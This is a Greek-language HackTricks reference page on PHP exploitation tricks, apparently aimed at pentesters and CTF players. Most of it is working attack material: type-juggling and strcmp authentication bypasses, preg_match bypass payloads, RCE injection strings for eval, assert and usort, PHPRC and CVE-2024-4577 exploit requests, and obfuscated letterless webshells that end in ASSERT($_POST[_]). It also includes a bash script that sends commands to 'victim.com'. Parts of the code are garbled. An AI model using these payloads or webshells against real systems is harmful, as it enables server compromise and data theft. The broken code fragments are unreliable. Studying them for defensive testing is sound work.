PHP Tricks

Υποστήριξη HackTricks

Κοινή τοποθεσία Cookies:

Αυτό ισχύει επίσης για τα cookies του phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Τοποθεσίες:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Παράκαμψη συγκρίσεων PHP

Χαλαρές συγκρίσεις/Εναλλαγή τύπων ( == )

Αν χρησιμοποιηθεί το == στο PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το ===.

Πίνακες συγκρίσεων PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό

  • "0xAAAA" == "43690" -> True Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)

  • "0e3264578" == 0 --> True Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0

  • "0X3264578" == 0X --> True Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0

  • "0e12334" == "0" --> True Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε ήδη κατακερματισμένες συμβολοσειρές με αυτό το φορμά εδώ: https://github.com/spaze/hashes

  • "X" == 0 --> True Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0

Περισσότερες πληροφορίες στο https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Εναλλαγή τύπων επηρεάζει επίσης τη λειτουργία in_array() από προεπιλογή (πρέπει να ορίσετε το τρίτο επιχείρημα σε true για να κάνετε αυστηρή σύγκριση):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Αν αυτή η συνάρτηση χρησιμοποιείται για οποιονδήποτε έλεγχο αυθεντικοποίησης (όπως ο έλεγχος του κωδικού πρόσβασης) και ο χρήστης ελέγχει τη μία πλευρά της σύγκρισης, μπορεί να στείλει έναν κενό πίνακα αντί για μια συμβολοσειρά ως την τιμή του κωδικού πρόσβασης (https://example.com/login.php/?username=admin&password[]=) και να παρακάμψει αυτόν τον έλεγχο:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Το ίδιο σφάλμα συμβαίνει με strcasecmp()

Αυστηρός χειρισμός τύπων

Ακόμα και αν το === χρησιμοποιείται μπορεί να υπάρχουν σφάλματα που καθιστούν τη σύγκριση ευάλωτη σε χειρισμό τύπων. Για παράδειγμα, αν η σύγκριση μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() θα μπορούσε να χρησιμοποιηθεί για να επικυρώσει την είσοδο του χρήστη (ελέγχει αν οποιαδήποτε λέξη/regex από μια μαύρη λίστα είναι παρούσα στην είσοδο του χρήστη και αν δεν είναι, ο κώδικας μπορεί να συνεχίσει την εκτέλεσή του).

Παράκαμψη νέας γραμμής

Ωστόσο, όταν καθορίζεται η αρχή του regexp preg_match() ελέγχει μόνο την πρώτη γραμμή της εισόδου του χρήστη, τότε αν με κάποιο τρόπο μπορείτε να στείλετε την είσοδο σε πολλές γραμμές, θα μπορούσατε να παρακάμψετε αυτόν τον έλεγχο. Παράδειγμα:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να στείλετε την τιμή με νέες γραμμές urlencoded (%0A) ή αν μπορείτε να στείλετε δεδομένα JSON, στείλτε τα σε πολλές γραμμές:

{
"cmd": "cat /etc/passwd"
}

Βρείτε ένα παράδειγμα εδώ: https://ramadistra.dev/fbctf-2019-rceservice

Μηχανισμός παράκαμψης σφάλματος μήκους

(Αυτή η παράκαμψη δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να την κάνω να λειτουργήσει σε PHP 7.3.15) Αν μπορείτε να στείλετε στο preg_match() μια έγκυρη πολύ μεγάλη είσοδο, δεν θα μπορεί να την επεξεργαστεί και θα μπορείτε να παρακάμψετε τον έλεγχο. Για παράδειγμα, αν αποκλείει ένα JSON θα μπορούσατε να στείλετε:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι preg_* συναρτήσεις στην PHP βασίζονται στη βιβλιοθήκη PCRE. Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο προεπιλέγεται σε 100.000, το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβα.

Αυτή η συζήτηση στο Stackoverflow συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής: Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την preg_match() να επιστρέψει false, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν {system(<verybadcommand>)} για να αποκτήσουμε SSTI --> RCE --> flag :).

Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η τεκμηρίωση PHP προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή pcre.backtrack_limit. Για να φτάσουμε σε αυτό, 'X'*500_001 θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Τύποι Juggling για PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία die ή exit συνάρτηση δεν καλείται μετά την κεφαλίδα Location, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

More tricks

  • register_globals: Στο PHP < 4.1.1.1 ή αν είναι κακοδιαμορφωμένο, register_globals μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $_GET αν έχουν μια τιμή π.χ. $_GET["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του $param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές που χρησιμοποιούνται μέσα στον κώδικα.

  • Τα PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση, επομένως αν μέσα σε έναν τομέα χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές μπορείτε να κάνετε μια διαδρομή να έχει πρόσβαση στο cookie της άλλης διαδρομής ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής. Με αυτόν τον τρόπο αν και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα μπορείτε να κάνετε την τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).

  • Όταν έχετε τα ονόματα χρηστών των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: /~<USERNAME> για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.

password_hash/password_verify

Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης και για να ελέγχουν αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό. Οι υποστηριζόμενοι αλγόριθμοι είναι: PASSWORD_DEFAULT και PASSWORD_BCRYPT (ξεκινά με $2y$). Σημειώστε ότι PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT. Και αυτή τη στιγμή, PASSWORD_BCRYPT έχει περιορισμό μεγέθους στην είσοδο των 72bytes. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

Από αυτήν την ανάρτηση στο Twitter μπορείτε να δείτε ότι στέλνοντας περισσότερες από 1000 παραμέτρους GET ή 1000 παραμέτρους POST ή 20 αρχεία, το PHOP δεν θα ρυθμίσει τις κεφαλίδες στην απόκριση.

Επιτρέποντας να παρακαμφθούν, για παράδειγμα, οι κεφαλίδες CSP που ρυθμίζονται σε κώδικες όπως:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων

Αν μια σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια περιεχόμενα αρκετά μεγάλα ώστε όταν προσπαθήσει να προσθέσει τις κεφαλίδες στην απάντηση, ο server να ρίξει ένα σφάλμα. Στο παρακάτω σενάριο, ο επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):

SSRF σε συναρτήσεις PHP

Ελέγξτε τη σελίδα:

PHP SSRF

Εκτέλεση κώδικα

system("ls"); `ls`; shell_exec("ls");

Δείτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP

RCE μέσω preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Για να εκτελεστεί ο κώδικας στο επιχείρημα "replace" απαιτείται τουλάχιστον μία αντιστοίχιση. Αυτή η επιλογή του preg_replace έχει καταργηθεί από την PHP 5.5.0.

RCE μέσω Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE μέσω Assert()

Αυτή η συνάρτηση μέσα στο php σας επιτρέπει να εκτελείτε κώδικα που είναι γραμμένος σε μια συμβολοσειρά προκειμένου να επιστρέφετε true ή false (και ανάλογα με αυτό να αλλάξετε την εκτέλεση). Συνήθως η μεταβλητή χρήστη θα εισαχθεί στη μέση μιας συμβολοσειράς. Για παράδειγμα: assert("strpos($_GET['page']),'..') === false") --> Σε αυτή την περίπτωση για να αποκτήσετε RCE θα μπορούσατε να κάνετε:

?page=a','NeVeR') === false and system('ls') and strpos('a

Θα χρειαστεί να σπάσετε τη σύνταξη του κώδικα, να προσθέσετε το payload σας και στη συνέχεια να το διορθώσετε ξανά. Μπορείτε να χρησιμοποιήσετε λογικές λειτουργίες όπως "and" ή "%26%26" ή "|". Σημειώστε ότι "or", "||" δεν λειτουργεί γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί.

Άλλη επιλογή είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: '.highlight_file('.passwd').'

Άλλη επιλογή (αν έχετε τον εσωτερικό κώδικα) είναι να τροποποιήσετε κάποια μεταβλητή για να αλλάξετε την εκτέλεση: $file = "hola"

RCE μέσω usort()

Αυτή η συνάρτηση χρησιμοποιείται για να ταξινομήσει έναν πίνακα στοιχείων χρησιμοποιώντας μια συγκεκριμένη συνάρτηση. Για να εκμεταλλευτείτε αυτή τη συνάρτηση:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // για να σχολιάσετε το υπόλοιπο του κώδικα.

Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε:

  • ?order=id;}//: λαμβάνουμε ένα μήνυμα σφάλματος (Parse error: syntax error, unexpected ';'). Πιθανώς μας λείπει μία ή περισσότερες αγκύλες.

  • ?order=id);}//: λαμβάνουμε μια προειδοποίηση. Αυτό φαίνεται σωστό.

  • ?order=id));}//: λαμβάνουμε ένα μήνυμα σφάλματος (Parse error: syntax error, unexpected ')' i). Πιθανώς έχουμε πάρα πολλές κλειστές αγκύλες.

RCE μέσω .httaccess

Αν μπορείτε να ανεβάσετε ένα .htaccess, τότε μπορείτε να ρυθμίσετε διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να εκτελούνται).

Διαφορετικά .htaccess shells μπορούν να βρεθούν εδώ

RCE μέσω Env Variables

Αν βρείτε μια ευπάθεια που σας επιτρέπει να τροποποιήσετε τις env variables στο PHP (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε RCE.

  • LD_PRELOAD: Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).

  • PHPRC : Δίνει οδηγίες στο PHP για πού να εντοπίσει το αρχείο ρύθμισης του, συνήθως ονομάζεται php.ini. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το PHPRC για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο auto_prepend_file που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό PHP κώδικα, ο οποίος εκτελείται από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.

  1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας

  2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία auto_prepend_file που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1

  3. Ρυθμίστε τη μεταβλητή PHPRC στο αρχείο που ανεβάσαμε στο βήμα 2.

  • Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα από την αρχική αναφορά.

  • PHPRC - άλλη επιλογή

  • Αν δεν μπορείτε να ανεβάσετε αρχεία, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" /dev/fd/0 που περιέχει το stdin, που είναι το σώμα του αιτήματος που αποστέλλεται στο stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Ή για να αποκτήσετε RCE, ενεργοποιήστε το allow_url_include και προσθέστε ένα αρχείο με base64 PHP κώδικα:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

XAMPP CGI RCE - CVE-2024-4577

Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως http://host/cgi.php?foo=bar ως php.exe cgi.php foo=bar, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:

-d allow_url_include=1 -d auto_prepend_file=php://input

Επιπλέον, είναι δυνατόν να εισαχθεί η παράμετρος "-" χρησιμοποιώντας τον χαρακτήρα 0xAD λόγω της μεταγενέστερης κανονικοποίησης του PHP. Ελέγξτε το παράδειγμα εκμετάλλευσης από αυτήν την ανάρτηση:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

Σε αυτή την ανάρτηση είναι δυνατόν να βρείτε εξαιρετικές ιδέες για να δημιουργήσετε έναν κώδικα brain fuck PHP με πολύ λίγους επιτρεπόμενους χαρακτήρες. Επιπλέον, προτείνεται επίσης ένας ενδιαφέρον τρόπος για να εκτελούνται συναρτήσεις που τους επέτρεψαν να παρακάμψουν αρκετούς ελέγχους:

(1)->{system($_GET[chr(97)])}

PHP Στατική ανάλυση

Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από εδώ):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Αν κάνετε αποσφαλμάτωση μιας εφαρμογής PHP, μπορείτε να ενεργοποιήσετε παγκοσμίως την εκτύπωση σφαλμάτων στο /etc/php5/apache2/php.ini προσθέτοντας display_errors = On και να επανεκκινήσετε τον apache: sudo systemctl restart apache2

Αποσυμπίεση κώδικα PHP

Μπορείτε να χρησιμοποιήσετε το web www.unphp.net για να αποσυμπιέσετε κώδικα php.

PHP Wrappers & Πρωτόκολλα

Οι PHP Wrappers και τα πρωτόκολλα θα μπορούσαν να σας επιτρέψουν να παρακάμψετε τις προστασίες εγγραφής και ανάγνωσης σε ένα σύστημα και να το συμβιβάσετε. Για περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα.

Xdebug μη εξουσιοδοτημένο RCE

Αν δείτε ότι το Xdebug είναι ενεργοποιημένο σε μια έξοδο phpconfig(), θα πρέπει να προσπαθήσετε να αποκτήσετε RCE μέσω https://github.com/nqxcode/xdebug-exploit

Μεταβλητές μεταβλητών

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET["a"]($_GET["b")

Αν σε μια σελίδα μπορείς να δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Execute PHP without letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Using octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Σύμφωνα με αυτή την αναφορά είναι δυνατόν να παραχθεί ένας εύκολος shellcode με αυτόν τον τρόπο:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Έτσι, αν μπορείτε να εκτελέσετε αυθαίρετο PHP χωρίς αριθμούς και γράμματα μπορείτε να στείλετε ένα αίτημα όπως το παρακάτω εκμεταλλευόμενοι αυτό το payload για να εκτελέσετε αυθαίρετο PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Για μια πιο λεπτομερή εξήγηση, ελέγξτε https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (μέσα σε eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl like

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Υποστήριξη HackTricks

Last updated